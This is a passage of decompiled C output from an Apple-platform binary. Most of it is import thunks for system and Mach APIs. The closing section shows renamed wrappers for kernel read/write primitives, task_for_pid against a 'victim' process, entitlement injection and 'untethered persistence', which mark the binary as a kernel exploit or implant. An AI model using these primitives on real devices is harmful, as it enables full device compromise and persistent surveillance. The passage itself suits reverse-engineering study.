  return _mach_make_memory_entry(target_task, size, offset, permission, object_handle, parent_entry);
}

//----- (000000000004178C) ----------------------------------------------------
kern_return_t __cdecl mach_make_memory_entry_64(
        vm_map_t target_task,
        memory_object_size_t *size,
        memory_object_offset_t offset,
        vm_prot_t permission,
        mach_port_t *object_handle,
        mem_entry_name_port_t parent_entry)
{
  return _mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry);
}

//----- (000000000004179C) ----------------------------------------------------
mach_msg_return_t __cdecl mach_msg(
        mach_msg_header_t *msg,
        mach_msg_option_t option,
        mach_msg_size_t send_size,
        mach_msg_size_t rcv_size,
        mach_port_name_t rcv_name,
        mach_msg_timeout_t timeout,
        mach_port_name_t notify)
{
  return _mach_msg(msg, option, send_size, rcv_size, rcv_name, timeout, notify);
}

//----- (00000000000417AC) ----------------------------------------------------
void __cdecl mach_msg_destroy(mach_msg_header_t *a1)
{
  _mach_msg_destroy(a1);
}

//----- (00000000000417BC) ----------------------------------------------------
mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *a1)
{
  return _mach_msg_send(a1);
}

//----- (00000000000417CC) ----------------------------------------------------
kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name)
{
  return _mach_port_allocate(task, right, name);
}

//----- (00000000000417DC) ----------------------------------------------------
kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name)
{
  return _mach_port_deallocate(task, name);
}

//----- (00000000000417EC) ----------------------------------------------------
kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name)
{
  return _mach_port_destroy(task, name);
}

//----- (00000000000417FC) ----------------------------------------------------
kern_return_t __cdecl mach_port_get_attributes(
        ipc_space_read_t task,
        mach_port_name_t name,
        mach_port_flavor_t flavor,
        mach_port_info_t port_info_out,
        mach_msg_type_number_t *port_info_outCnt)
{
  return _mach_port_get_attributes(task, name, flavor, port_info_out, port_info_outCnt);
}

//----- (000000000004180C) ----------------------------------------------------
kern_return_t __cdecl mach_port_insert_right(
        ipc_space_t task,
        mach_port_name_t name,
        mach_port_t poly,
        mach_msg_type_name_t polyPoly)
{
  return _mach_port_insert_right(task, name, poly, polyPoly);
}

//----- (000000000004181C) ----------------------------------------------------
kern_return_t __cdecl mach_port_mod_refs(
        ipc_space_t task,
        mach_port_name_t name,
        mach_port_right_t right,
        mach_port_delta_t delta)
{
  return _mach_port_mod_refs(task, name, right, delta);
}

//----- (000000000004182C) ----------------------------------------------------
kern_return_t __cdecl mach_port_request_notification(
        ipc_space_t task,
        mach_port_name_t name,
        mach_msg_id_t msgid,
        mach_port_mscount_t sync,
        mach_port_t notify,
        mach_msg_type_name_t notifyPoly,
        mach_port_t *previous)
{
  return _mach_port_request_notification(task, name, msgid, sync, notify, notifyPoly, previous);
}

//----- (000000000004183C) ----------------------------------------------------
kern_return_t __cdecl mach_port_set_attributes(
        ipc_space_t task,
        mach_port_name_t name,
        mach_port_flavor_t flavor,
        mach_port_info_t port_info,
        mach_msg_type_number_t port_infoCnt)
{
  return _mach_port_set_attributes(task, name, flavor, port_info, port_infoCnt);
}

//----- (000000000004184C) ----------------------------------------------------
kern_return_t __cdecl mach_port_space_info(
        ipc_space_read_t space,
        ipc_info_space_t *space_info,
        ipc_info_name_array_t *table_info,
        mach_msg_type_number_t *table_infoCnt,
        ipc_info_tree_name_array_t *tree_info,
        mach_msg_type_number_t *tree_infoCnt)
{
  return _mach_port_space_info(space, space_info, table_info, table_infoCnt, tree_info, tree_infoCnt);
}

//----- (000000000004185C) ----------------------------------------------------
kern_return_t __cdecl mach_ports_register(
        task_t target_task,
        mach_port_array_t init_port_set,
        mach_msg_type_number_t init_port_setCnt)
{
  return _mach_ports_register(target_task, init_port_set, init_port_setCnt);
}

//----- (000000000004186C) ----------------------------------------------------
__int64 mach_reply_port()
{
  return _mach_reply_port();
}
// 48540: using guessed type __int64 _mach_reply_port(void);

//----- (000000000004187C) ----------------------------------------------------
mach_port_t mach_thread_self(void)
{
  return _mach_thread_self();
}

//----- (000000000004188C) ----------------------------------------------------
kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info)
{
  return _mach_timebase_info(info);
}

//----- (000000000004189C) ----------------------------------------------------
kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags)
{
  return _mach_vm_allocate(target, address, size, flags);
}

//----- (00000000000418AC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size)
{
  return _mach_vm_deallocate(target, address, size);
}

//----- (00000000000418BC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_machine_attribute(
        vm_map_t target_task,
        mach_vm_address_t address,
        mach_vm_size_t size,
        vm_machine_attribute_t attribute,
        vm_machine_attribute_val_t *value)
{
  return _mach_vm_machine_attribute(target_task, address, size, attribute, value);
}

//----- (00000000000418CC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_page_info(
        vm_map_read_t target_task,
        mach_vm_address_t address,
        vm_page_info_flavor_t flavor,
        vm_page_info_t info,
        mach_msg_type_number_t *infoCnt)
{
  return _mach_vm_page_info(target_task, address, flavor, info, infoCnt);
}

//----- (00000000000418DC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_read_overwrite(
        vm_map_read_t target_task,
        mach_vm_address_t address,
        mach_vm_size_t size,
        mach_vm_address_t data,
        mach_vm_size_t *outsize)
{
  return _mach_vm_read_overwrite(target_task, address, size, data, outsize);
}

//----- (00000000000418EC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_wire(
        host_priv_t host_priv,
        vm_map_t task,
        mach_vm_address_t address,
        mach_vm_size_t size,
        vm_prot_t desired_access)
{
  return _mach_vm_wire(host_priv, task, address, size, desired_access);
}

//----- (00000000000418FC) ----------------------------------------------------
kern_return_t __cdecl mach_vm_write(
        vm_map_t target_task,
        mach_vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt)
{
  return _mach_vm_write(target_task, address, data, dataCnt);
}

//----- (000000000004190C) ----------------------------------------------------
int __cdecl madvise(void *a1, size_t a2, int a3)
{
  return _madvise(a1, a2, a3);
}

//----- (000000000004191C) ----------------------------------------------------
void *__cdecl malloc(size_t __size)
{
  return _malloc(__size);
}

//----- (000000000004192C) ----------------------------------------------------
int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n)
{
  return _memcmp(__s1, __s2, __n);
}

//----- (000000000004193C) ----------------------------------------------------
void *__cdecl memcpy(void *__dst, const void *__src, size_t __n)
{
  return _memcpy(__dst, __src, __n);
}

//----- (000000000004194C) ----------------------------------------------------
void __cdecl mig_dealloc_reply_port(mach_port_t reply_port)
{
  _mig_dealloc_reply_port(reply_port);
}

//----- (000000000004195C) ----------------------------------------------------
mach_port_t mig_get_reply_port(void)
{
  return _mig_get_reply_port();
}

//----- (000000000004196C) ----------------------------------------------------
int __cdecl mkdir(const char *a1, mode_t a2)
{
  return _mkdir(a1, a2);
}

//----- (000000000004197C) ----------------------------------------------------
char *__cdecl mktemp(char *a1)
{
  return _mktemp(a1);
}

//----- (000000000004198C) ----------------------------------------------------
void *j_mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6)
{
  return _mmap(a1, a2, a3, a4, a5, a6);
}

//----- (000000000004199C) ----------------------------------------------------
int __cdecl mount(const char *a1, const char *a2, int a3, void *a4)
{
  return _mount(a1, a2, a3, a4);
}

//----- (00000000000419AC) ----------------------------------------------------
int necp_client_action(int fd, uint32_t action, const void *client_id, size_t client_id_len, void *buffer, size_t buffer_size)
{
  return _necp_client_action(fd, action, client_id, client_id_len, buffer, buffer_size);
}
// 485E0: using guessed type int _necp_client_action(int fd, uint32_t action, const void *client_id, size_t client_id_len, void *buffer, size_t buffer_size);

//----- (00000000000419BC) ----------------------------------------------------
int necp_open(int flags)
{
  return _necp_open(flags);
}
// 485E8: using guessed type int _necp_open(int flags);

//----- (00000000000419CC) ----------------------------------------------------
int open(const char *a1, int a2, ...)
{
  va_list ap;
  mode_t mode;

  if ( (a2 & 0x200) == 0 )
    return _open(a1, a2);
  va_start(ap, a2);
  mode = (mode_t)va_arg(ap, int);
  va_end(ap);
  return _open(a1, a2, mode);
}

//----- (00000000000419DC) ----------------------------------------------------
int open_dprotected_np(const char *a1, int a2, int a3, int a4, ...)
{
  va_list ap;
  mode_t mode;

  if ( (a2 & 0x200) == 0 )
    return _open_dprotected_np(a1, a2, a3, a4);
  va_start(ap, a4);
  mode = (mode_t)va_arg(ap, int);
  va_end(ap);
  return _open_dprotected_np(a1, a2, a3, a4, mode);
}

//----- (00000000000419EC) ----------------------------------------------------
kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x)
{
  return _pid_for_task(t, x);
}

//----- (00000000000419FC) ----------------------------------------------------
int __cdecl pipe(int a1[2])
{
  return _pipe(a1);
}

//----- (0000000000041A0C) ----------------------------------------------------
int __cdecl posix_spawn(
        pid_t *a1,
        const char *a2,
        const posix_spawn_file_actions_t *a3,
        const posix_spawnattr_t *a4,
        char *const __argv[],
        char *const __envp[])
{
  return _posix_spawn(a1, a2, a3, a4, __argv, __envp);
}

//----- (0000000000041A1C) ----------------------------------------------------
int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *a1, int a2, const char *a3, int a4, mode_t a5)
{
  return _posix_spawn_file_actions_addopen(a1, a2, a3, a4, a5);
}

//----- (0000000000041A2C) ----------------------------------------------------
int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *a1)
{
  return _posix_spawn_file_actions_destroy(a1);
}

//----- (0000000000041A3C) ----------------------------------------------------
int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *a1)
{
  return _posix_spawn_file_actions_init(a1);
}

//----- (0000000000041A4C) ----------------------------------------------------
int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *a1)
{
  return _posix_spawnattr_destroy(a1);
}

//----- (0000000000041A5C) ----------------------------------------------------
int __cdecl posix_spawnattr_init(posix_spawnattr_t *a1)
{
  return _posix_spawnattr_init(a1);
}

//----- (0000000000041A6C) ----------------------------------------------------
int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *a1, __int16 a2)
{
  return _posix_spawnattr_setflags(a1, a2);
}

//----- (0000000000041A7C) ----------------------------------------------------
int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *a1, pid_t a2)
{
  return _posix_spawnattr_setpgroup(a1, a2);
}

//----- (0000000000041A8C) ----------------------------------------------------
int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *a1, const sigset_t *a2)
{
  return _posix_spawnattr_setsigdefault(a1, a2);
}

//----- (0000000000041A9C) ----------------------------------------------------
ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t a4)
{
  return _pread(__fd, __buf, __nbyte, a4);
}

//----- (0000000000041AAC) ----------------------------------------------------
int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize)
{
  return _proc_pidinfo(pid, flavor, arg, buffer, buffersize);
}

//----- (0000000000041ABC) ----------------------------------------------------
kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set)
{
  return _processor_set_default(host, default_set);
}

//----- (0000000000041ACC) ----------------------------------------------------
kern_return_t __cdecl processor_set_info(
        processor_set_name_t set_name,
        int flavor,
        host_t *host,
        processor_set_info_t info_out,
        mach_msg_type_number_t *info_outCnt)
{
  return _processor_set_info(set_name, flavor, host, info_out, info_outCnt);
}

//----- (0000000000041ADC) ----------------------------------------------------
int __cdecl pthread_attr_destroy(pthread_attr_t *a1)
{
  return _pthread_attr_destroy(a1);
}

//----- (0000000000041AEC) ----------------------------------------------------
int __cdecl pthread_attr_init(pthread_attr_t *a1)
{
  return _pthread_attr_init(a1);
}

//----- (0000000000041AFC) ----------------------------------------------------
int __cdecl pthread_attr_setdetachstate(pthread_attr_t *a1, int a2)
{
  return _pthread_attr_setdetachstate(a1, a2);
}

//----- (0000000000041B0C) ----------------------------------------------------
int __cdecl pthread_create(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4)
{
  return _pthread_create(a1, a2, a3, a4);
}

//----- (0000000000041B1C) ----------------------------------------------------
int __cdecl pthread_create_suspended_np(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4)
{
  return _pthread_create_suspended_np(a1, a2, a3, a4);
}

//----- (0000000000041B2C) ----------------------------------------------------
pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t a1)
{
  return _pthread_from_mach_thread_np(a1);
}

//----- (0000000000041B3C) ----------------------------------------------------
int __cdecl pthread_join(pthread_t a1, void **a2)
{
  return _pthread_join(a1, a2);
}

//----- (0000000000041B4C) ----------------------------------------------------
mach_port_t __cdecl pthread_mach_thread_np(pthread_t a1)
{
  return _pthread_mach_thread_np(a1);
}

//----- (0000000000041B5C) ----------------------------------------------------
int __cdecl pthread_mutex_destroy(pthread_mutex_t *a1)
{
  return _pthread_mutex_destroy(a1);
}

//----- (0000000000041B6C) ----------------------------------------------------
int __cdecl pthread_mutex_init(pthread_mutex_t *a1, const pthread_mutexattr_t *a2)
{
  return _pthread_mutex_init(a1, a2);
}

//----- (0000000000041B7C) ----------------------------------------------------
int __cdecl pthread_mutex_lock(pthread_mutex_t *a1)
{
  return _pthread_mutex_lock(a1);
}

//----- (0000000000041B8C) ----------------------------------------------------
int __cdecl pthread_mutex_unlock(pthread_mutex_t *a1)
{
  return _pthread_mutex_unlock(a1);
}

//----- (0000000000041B9C) ----------------------------------------------------
pthread_t pthread_self(void)
{
  return _pthread_self();
}

//----- (0000000000041BAC) ----------------------------------------------------
void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *))
{
  _qsort(__base, __nel, __width, __compar);
}

//----- (0000000000041BBC) ----------------------------------------------------
ssize_t __cdecl read(int a1, void *a2, size_t a3)
{
  return _read(a1, a2, a3);
}

//----- (0000000000041BCC) ----------------------------------------------------
void *__cdecl realloc(void *__ptr, size_t __size)
{
  return _realloc(__ptr, __size);
}

//----- (0000000000041BDC) ----------------------------------------------------
int __cdecl rmdir(const char *a1)
{
  return _rmdir(a1);
}

//----- (0000000000041BFC) ----------------------------------------------------
int sched_yield(void)
{
  return _sched_yield();
}

//----- (0000000000041C0C) ----------------------------------------------------
kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value)
{
  return _semaphore_create(task, semaphore, policy, value);
}

//----- (0000000000041C1C) ----------------------------------------------------
kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore)
{
  return _semaphore_destroy(task, semaphore);
}

//----- (0000000000041C2C) ----------------------------------------------------
kern_return_t __cdecl semaphore_signal(semaphore_t semaphore)
{
  return _semaphore_signal(semaphore);
}

//----- (0000000000041C3C) ----------------------------------------------------
kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time)
{
  return _semaphore_timedwait(semaphore, wait_time);
}

//----- (0000000000041C4C) ----------------------------------------------------
kern_return_t __cdecl semaphore_wait(semaphore_t semaphore)
{
  return _semaphore_wait(semaphore);
}

//----- (0000000000041C5C) ----------------------------------------------------
int __cdecl seteuid(uid_t a1)
{
  return _seteuid(a1);
}

//----- (0000000000041C6C) ----------------------------------------------------
int __cdecl setsockopt(int a1, int a2, int a3, const void *a4, socklen_t a5)
{
  return _setsockopt(a1, a2, a3, a4, a5);
}

//----- (0000000000041C7C) ----------------------------------------------------
int snprintf(char *__str, size_t __size, const char *__format, ...)
{
  va_list ap;
  int result;

  va_start(ap, __format);
  result = vsnprintf(__str, __size, __format, ap);
  va_end(ap);
  return result;
}

//----- (0000000000041C8C) ----------------------------------------------------
int __cdecl socket(int a1, int a2, int a3)
{
  return _socket(a1, a2, a3);
}

//----- (0000000000041CAC) ----------------------------------------------------
int __cdecl stat(const char *a1, stat *a2)
{
  return _stat(a1, a2);
}

//----- (0000000000041CBC) ----------------------------------------------------
int __cdecl statfs(const char *a1, struct statfs *a2)
{
  return _statfs(a1, a2);
}

//----- (0000000000041CCC) ----------------------------------------------------
char *__cdecl strchr(const char *__s, int __c)
{
  return _strchr(__s, __c);
}

//----- (0000000000041CDC) ----------------------------------------------------
int __cdecl strcmp(const char *__s1, const char *__s2)
{
  return _strcmp(__s1, __s2);
}

//----- (0000000000041CEC) ----------------------------------------------------
char *__cdecl strcpy(char *__dst, const char *__src)
{
  return _strcpy(__dst, __src);
}

//----- (0000000000041CFC) ----------------------------------------------------
char *__cdecl strdup(const char *__s1)
{
  return _strdup(__s1);
}

//----- (0000000000041D0C) ----------------------------------------------------
size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size)
{
  return _strlcpy(__dst, __source, __size);
}

//----- (0000000000041D1C) ----------------------------------------------------
size_t __cdecl strlen(const char *__s)
{
  return _strlen(__s);
}

//----- (0000000000041D2C) ----------------------------------------------------
int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n)
{
  return _strncmp(__s1, __s2, __n);
}

//----- (0000000000041D3C) ----------------------------------------------------
char *__cdecl strsep(char **__stringp, const char *__delim)
{
  return _strsep(__stringp, __delim);
}

//----- (0000000000041D4C) ----------------------------------------------------
char *__cdecl strstr(const char *__big, const char *__little)
{
  return _strstr(__big, __little);
}

//----- (0000000000041D5C) ----------------------------------------------------
__int64 __cdecl strtol(const char *__str, char **__endptr, int __base)
{
  return _strtol(__str, __endptr, __base);
}

//----- (0000000000041D6C) ----------------------------------------------------
int syscall(int a1, ...)
{
  va_list ap;
  __int64 a2;
  __int64 a3;
  __int64 a4;
  __int64 a5;
  __int64 a6;
  __int64 a7;

  va_start(ap, a1);
  a2 = va_arg(ap, __int64);
  a3 = va_arg(ap, __int64);
  a4 = va_arg(ap, __int64);
  a5 = va_arg(ap, __int64);
  a6 = va_arg(ap, __int64);
  a7 = va_arg(ap, __int64);
  va_end(ap);
  return _syscall(a1, a2, a3, a4, a5, a6, a7);
}

//----- (0000000000041D7C) ----------------------------------------------------
int __cdecl sysctl(int *a1, u_int a2, void *a3, size_t *a4, void *a5, size_t a6)
{
  return _sysctl(a1, a2, a3, a4, a5, a6);
}

//----- (0000000000041D8C) ----------------------------------------------------
int __cdecl sysctlbyname(const char *a1, void *a2, size_t *a3, void *a4, size_t a5)
{
  return _sysctlbyname(a1, a2, a3, a4, a5);
}

//----- (0000000000041D9C) ----------------------------------------------------
kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port)
{
  return _task_get_special_port(task, which_port, special_port);
}

//----- (0000000000041DAC) ----------------------------------------------------
kern_return_t __cdecl task_info(
        task_name_t target_task,
        task_flavor_t flavor,
        task_info_t task_info_out,
        mach_msg_type_number_t *task_info_outCnt)
{
  return _task_info(target_task, flavor, task_info_out, task_info_outCnt);
}

//----- (0000000000041DBC) ----------------------------------------------------
kern_return_t __cdecl task_map_corpse_info_64(
        task_t task,
        task_read_t corspe_task,
        mach_vm_address_t *kcd_addr_begin,
        mach_vm_size_t *kcd_size)
{
  return _task_map_corpse_info_64(task, corspe_task, kcd_addr_begin, kcd_size);
}

//----- (0000000000041DCC) ----------------------------------------------------
kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token)
{
  return _task_resume2(suspend_token);
}

//----- (0000000000041DDC) ----------------------------------------------------
kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port)
{
  return _task_set_special_port(task, which_port, special_port);
}

//----- (0000000000041DEC) ----------------------------------------------------
kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token)
{
  return _task_suspend2(target_task, suspend_token);
}

//----- (0000000000041DFC) ----------------------------------------------------
kern_return_t __cdecl task_threads(
        task_inspect_t target_task,
        thread_act_array_t *act_list,
        mach_msg_type_number_t *act_listCnt)
{
  return _task_threads(target_task, act_list, act_listCnt);
}

//----- (0000000000041E0C) ----------------------------------------------------
kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act)
{
  return _thread_create(parent_task, child_act);
}

//----- (0000000000041E1C) ----------------------------------------------------
kern_return_t __cdecl thread_get_state(
        thread_read_t target_act,
        thread_state_flavor_t flavor,
        thread_state_t old_state,
        mach_msg_type_number_t *old_stateCnt)
{
  return _thread_get_state(target_act, flavor, old_state, old_stateCnt);
}

//----- (0000000000041E2C) ----------------------------------------------------
kern_return_t __cdecl thread_policy_set(
        thread_act_t thread,
        thread_policy_flavor_t flavor,
        thread_policy_t policy_info,
        mach_msg_type_number_t policy_infoCnt)
{
  return _thread_policy_set(thread, flavor, policy_info, policy_infoCnt);
}

//----- (0000000000041E3C) ----------------------------------------------------
kern_return_t __cdecl thread_resume(thread_act_t target_act)
{
  return _thread_resume(target_act);
}

//----- (0000000000041E4C) ----------------------------------------------------
kern_return_t __cdecl thread_set_exception_ports(
        thread_act_t thread,
        exception_mask_t exception_mask,
        mach_port_t new_port,
        exception_behavior_t behavior,
        thread_state_flavor_t new_flavor)
{
  return _thread_set_exception_ports(thread, exception_mask, new_port, behavior, new_flavor);
}

//----- (0000000000041E5C) ----------------------------------------------------
kern_return_t __cdecl thread_set_state(
        thread_act_t target_act,
        thread_state_flavor_t flavor,
        thread_state_t new_state,
        mach_msg_type_number_t new_stateCnt)
{
  return _thread_set_state(target_act, flavor, new_state, new_stateCnt);
}

//----- (0000000000041E6C) ----------------------------------------------------
kern_return_t __cdecl thread_suspend(thread_act_t target_act)
{
  return _thread_suspend(target_act);
}

//----- (0000000000041E7C) ----------------------------------------------------
kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time)
{
  return _thread_switch(thread_name, option, option_time);
}

//----- (0000000000041E8C) ----------------------------------------------------
kern_return_t __cdecl thread_terminate(thread_act_t target_act)
{
  return _thread_terminate(target_act);
}

//----- (0000000000041E9C) ----------------------------------------------------
int __cdecl uname(utsname *a1)
{
  return _uname(a1);
}

//----- (0000000000041EAC) ----------------------------------------------------
int __cdecl unlink(const char *a1)
{
  return _unlink(a1);
}

//----- (0000000000041EBC) ----------------------------------------------------
int __cdecl unmount(const char *a1, int a2)
{
  return _unmount(a1, a2);
}

//----- (0000000000041ECC) ----------------------------------------------------
int __cdecl usleep(useconds_t a1)
{
  return _usleep(a1);
}

//----- (0000000000041EDC) ----------------------------------------------------
int __cdecl uuid_is_null(const uuid_t uu)
{
  return _uuid_is_null(uu);
}

//----- (0000000000041EEC) ----------------------------------------------------
kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags)
{
  return _vm_allocate(target_task, address, size, flags);
}

//----- (0000000000041EFC) ----------------------------------------------------
kern_return_t __cdecl vm_copy(
        vm_map_t target_task,
        vm_address_t source_address,
        vm_size_t size,
        vm_address_t dest_address)
{
  return _vm_copy(target_task, source_address, size, dest_address);
}

//----- (0000000000041F0C) ----------------------------------------------------
kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size)
{
  return _vm_deallocate(target_task, address, size);
}

//----- (0000000000041F1C) ----------------------------------------------------
kern_return_t __cdecl vm_map(
        vm_map_t target_task,
        vm_address_t *address,
        vm_size_t size,
        vm_address_t mask,
        int flags,
        mem_entry_name_port_t object,
        vm_offset_t offset,
        boolean_t copy,
        vm_prot_t cur_protection,
        vm_prot_t max_protection,
        vm_inherit_t inheritance)
{
  return _vm_map(
           target_task,
           address,
           size,
           mask,
           flags,
           object,
           offset,
           copy,
           cur_protection,
           max_protection,
           inheritance);
}

//----- (0000000000041F2C) ----------------------------------------------------
kern_return_t __cdecl vm_protect(
        vm_map_t target_task,
        vm_address_t address,
        vm_size_t size,
        boolean_t set_maximum,
        vm_prot_t new_protection)
{
  return _vm_protect(target_task, address, size, set_maximum, new_protection);
}

//----- (0000000000041F3C) ----------------------------------------------------
kern_return_t __cdecl vm_read_overwrite(
        vm_map_t target_task,
        vm_address_t address,
        vm_size_t size,
        vm_address_t data,
        vm_size_t *outsize)
{
  return _vm_read_overwrite(target_task, address, size, data, outsize);
}

//----- (0000000000041F4C) ----------------------------------------------------
kern_return_t __cdecl vm_region_64(
        vm_map_t target_task,
        vm_address_t *address,
        vm_size_t *size,
        vm_region_flavor_t flavor,
        vm_region_info_t info,
        mach_msg_type_number_t *infoCnt,
        mach_port_t *object_name)
{
  return _vm_region_64(target_task, address, size, flavor, info, infoCnt, object_name);
}

//----- (0000000000041F5C) ----------------------------------------------------
kern_return_t __cdecl vm_region_recurse_64(
        vm_map_t target_task,
        vm_address_t *address,
        vm_size_t *size,
        natural_t *nesting_depth,
        vm_region_recurse_info_t info,
        mach_msg_type_number_t *infoCnt)
{
  return _vm_region_recurse_64(target_task, address, size, nesting_depth, info, infoCnt);
}

//----- (0000000000041F6C) ----------------------------------------------------
kern_return_t __cdecl vm_remap(
        vm_map_t target_task,
        vm_address_t *target_address,
        vm_size_t size,
        vm_address_t mask,
        int flags,
        vm_map_t src_task,
        vm_address_t src_address,
        boolean_t copy,
        vm_prot_t *cur_protection,
        vm_prot_t *max_protection,
        vm_inherit_t inheritance)
{
  return _vm_remap(
           target_task,
           target_address,
           size,
           mask,
           flags,
           src_task,
           src_address,
           copy,
           cur_protection,
           max_protection,
           inheritance);
}

//----- (0000000000041F7C) ----------------------------------------------------
kern_return_t __cdecl vm_write(
        vm_map_t target_task,
        vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt)
{
  return _vm_write(target_task, address, data, dataCnt);
}

//----- (0000000000041F8C) ----------------------------------------------------
pid_t __cdecl waitpid(pid_t a1, int *a2, int a3)
{
  return _waitpid(a1, a2, a3);
}

//----- (0000000000041F9C) ----------------------------------------------------
ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte)
{
  return _write(__fd, __buf, __nbyte);
}
#endif

// Compatibility wrappers for names that were cleaned up during manual analysis.
__int64 __fastcall kwrite_with_retry(__int64 ctx, __int64 address, const void *buf, mach_vm_size_t bufSize)
{
  return kwritebuf_last_arg_1(ctx, address, buf, bufSize);
}
bool __fastcall kreadbuf_last_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf)
{
  return kreadbuf_0(ctx, addr, size, outBuf);
}
bool __fastcall kread_physmap_decorated(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out)
{
  return kread64(a1, vaddr, out);
}
//__int64 __fastcall kread_u32_value(__int64 a1, unsigned __int64 a2) { return kread_u32_value(a1, a2); }
unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *a1, __int64 a2) { return sub_29D88(a1, a2); }
bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis)
{
  return this_is_the_kwrite64(a1, address, newValue, whatIsThis);
}
bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3) { return real_task_for_pid(a1, a2, a3); }
bool __fastcall krw_task_for_pid_or_name_ret_ptr(__int64 a1, int victim_pid, const char *victim_process_name, mach_port_name_t *out_task)
{
  return real_task_for_pid_or_name(a1, victim_pid, victim_process_name, out_task);
}
__int64 __fastcall kreadptr(struct_krwCtx *krwCtx, __int64 addr) { return get_task_struct_field_offset(krwCtx, addr); }
__int64 __fastcall task_self_get_ipc_port_ptr(struct_krwCtx *a1, unsigned int a2)
{
  return task_get_ipc_port_ptr(a1, mach_task_self_, a2);
}

__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(struct_krwCtx *a1, int a2)
{
  return setup_untethered_persistence_maybe(a1, a2);
}
__int64 __fastcall kreadbuf_via_dev_null_simple(
        struct_krwCtx *a1,
        unsigned __int64 a2,
        void *a3,
        unsigned int a4,
        int a5)
{
  return sub_25334(a1, a2, a3, a4, a5);
}
uint32_t *__fastcall krw_ctx_set_flag(uint32_t *result, int a2) { return sub_36078(result, a2); }
__int64 __fastcall krw_inject_entitlements2_maybe(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4)
{
  return sub_2CBA4(a1, task, entitlementXml, a4);
}
unsigned __int64 __fastcall krw_xpac_vaddr_2(struct_krwCtx *a1, __int64 a2) { return maybe_sptm_translate_kaddr(a1, a2); }
__int64 __fastcall task_get_ipc_port_ptr(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port)
{
  return sub_339B4(a1, task, port);
}

__int64 __fastcall nullsub_1(uint64_t a1) { return a1; }
__int64 __fastcall nullsub_2(uint64_t a1) { return a1; }
__int64 __fastcall macho_read_u64_thunk(uint64_t a1, uint64_t a2) { return macho_read_u64((__int64 *)a1, (__int64 *)a2); }

__int64 j___get_cpu_capabilities(void) { return _get_cpu_capabilities(); }
__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2) { return fileport_makeport(a1, a2); }
int __fastcall j__fileport_makefd(mach_port_t port) { return fileport_makefd(port); }
// nfuncs=894 queued=886 decompiled=886 lumina nreq=0 worse=0 better=0
// ALL OK, 886 function(s) have been successfully decompiled
